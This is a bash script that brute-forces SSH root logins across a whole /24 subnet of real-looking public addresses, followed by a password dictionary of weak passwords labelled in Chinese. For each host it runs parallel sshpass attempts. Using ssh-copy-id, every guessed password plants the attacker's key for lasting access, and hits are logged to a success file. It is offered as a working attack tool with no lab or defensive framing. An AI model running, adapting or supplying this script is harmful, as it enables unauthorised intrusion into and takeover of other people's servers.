#!/bin/bash
rm -rf /root/.ssh/{id_rsa,id_rsa.pub}
ssh-keygen -t rsa -f /root/.ssh/id_rsa -N "" &> /dev/null
end=$(tail -1 /passwd1.txt)
echo > /success.txt
echo > /failure.txt
#b(){ sshpass -p "$passwd" ssh -o ConnectTimeout=5 root@176.135.12.$i 'exit;' &> /dev/null
 #  if [ $? -eq 0 ];then
#	echo "12.$i is $passwd" >> /success.txt
 #       break
  # fi
   #if [ $end==$passwd ];then
    #    echo "12.$i is no" >> /failure.txt
  # fi
#}
a(){ 
 #[ ! -z $(eval echo \${s${i}}) ] && continue 
while read passwd 
do
 #sleep 6
 sshpass -p "$passwd" ssh-copy-id root@176.135.12.$i &> /dev/null
 #sshpass -p "$passwd" ssh -o ConnectTimeout=5 root@176.135.12.$i 'exit;' &> /dev/null
    if [ $? -eq 0 ];then
        echo "12.$i is $passwd ok" >> /success.txt
	#eval s${i}=1
	break
    fi
    #if [ $passwd == $end ] && [ -z $(eval echo \${s${i}}) ];then
    if [ $passwd == $end ];then
        echo "12.$i no" >> /failure.txt
    fi
    sleep 6     
done < /passwd1.txt
}
for i in {1..254}
do
     a & 
done
wait
cat /failure.txt
cat /success.txt

密码本passwd1.txt如下

8
a
b
c
11
22
222
123123
aa
bb
cc
dd
aaa
bbb
root
ccc
123
123456
123456789
000
000000
111
666
888
root123
admin
admin123
pass
passwd
password
welcome
abc
abc123
lsq
lsq123